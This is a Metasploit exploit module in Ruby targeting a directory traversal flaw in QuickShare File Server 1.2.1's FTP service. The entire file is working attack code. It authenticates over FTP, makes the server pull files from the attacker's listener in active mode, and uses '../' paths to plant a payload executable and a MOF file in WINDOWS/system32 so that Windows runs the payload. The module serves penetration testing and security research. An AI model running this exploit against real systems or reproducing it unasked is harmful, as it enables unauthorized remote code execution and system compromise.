##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Ftp
  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "QuickShare File Server 1.2.1 Directory Traversal Vulnerability",
        'Description' => %q{
          This module exploits a vulnerability found in QuickShare File Server's FTP
          service.  By supplying "../" in the file path, it is possible to trigger a
          directory traversal flaw, allowing the attacker to read a file outside the
          virtual directory.  By default, the "Writable" option is enabled during account
          creation, therefore this makes it possible to create a file at an arbitrary
          location, which leads to remote code execution.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'modpr0be', # Discovery, PoC
          'sinn3r' # Metasploit
        ],
        'References' => [
          ['CVE', '2011-10010'],
          ['OSVDB', '70776'],
          ['EDB', '16105'],
          ['URL', 'http://www.quicksharehq.com/blog/quickshare-file-server-1-2-2-released.html'],
          ['URL', 'http://www.digital-echidna.org/2011/02/quickshare-file-share-1-2-1-directory-traversal-vulnerability/'],
          ['ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER],
          ['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION],
          ['ATT&CK', Mitre::Attack::Technique::T1105_INGRESS_TOOL_TRANSFER]
        ],
        'Payload' => {
          'BadChars' => "\x00"
        },
        'DefaultOptions' => {
          'EXITFUNC' => 'thread'
        },
        'Platform' => 'win',
        'Targets' => [
          ['QuickShare File Server 1.2.1', {}]
        ],
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Privileged' => false,
        'DisclosureDate' => '2011-02-03',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        # Change the default description so this option makes sense
        OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])
      ]
    )
  end

  def check
    connect
    disconnect

    if banner =~ /quickshare ftpd/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def on_client_connect(cli)
    peer = "#{cli.peerhost}:#{cli.peerport}"

    case @stage
    when :exe
      print_status("Sending executable (#{@exe.length.to_s} bytes)")
      cli.put(@exe)
      @stage = :mof

    when :mof
      print_status("Sending MOF (#{@mof.length.to_s} bytes)")
      cli.put(@mof)
    end

    cli.close
  end

  def upload(filename)
    select(nil, nil, nil, 1)

    peer = "#{rhost}:#{rport}"
    print_status("Trying to upload #{::File.basename(filename)}")

    # We can't use connect_login, because it cannot determine a successful login correctly.
    # For example: The server actually returns a 503 (Bad Sequence of Commands) when the
    # user has already authenticated.
    conn = connect(false, datastore['VERBOSE'])

    res = send_user(datastore['FTPUSER'], conn)

    if res !~ /^(331|2)/
      fail_with(Failure::BadConfig, "The server rejected our username: #{res.to_s}")
    end

    res = send_pass(datastore['FTPPASS'], conn)
    if res !~ /^(2|503)/
      fail_with(Failure::BadConfig, "The server rejected our password: #{res.to_s}")
    end

    # Switch to binary mode
    print_status("Set binary mode")
    send_cmd(['TYPE', 'I'], true, conn)

    # Prepare active mode: Get attacker's IP and source port
    src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
    src_port = datastore['SRVPORT'].to_i

    # Prepare active mode: Convert the IP and port for active mode
    src_ip = src_ip.gsub(/\./, ',')
    src_port = "#{src_port / 256},#{src_port.remainder(256)}"

    # Set to active mode
    print_status("Set active mode \"#{src_ip},#{src_port}\"")
    send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)

    # Tell the FTP server to download our file
    send_cmd(['STOR', filename], false, conn)

    disconnect(conn)
  end

  def exploit
    trigger = '../../../../../../../../'
    exe_name = "#{trigger}WINDOWS/system32/#{rand_text_alpha(rand(10) + 5)}.exe"
    mof_name = "#{trigger}WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10) + 5)}.vbs"
    @mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
    @exe = generate_payload_exe
    @stage = :exe

    begin
      t = framework.threads.spawn("reqs", false) {
        begin
          # Upload our malicious executable
          u = upload(exe_name)

          # Upload the mof file
          upload(mof_name) if u
        rescue ::Exception => e
          print_error e.message
          cleanup
        end
      }
      super
    ensure
      t.kill
    end
  end
end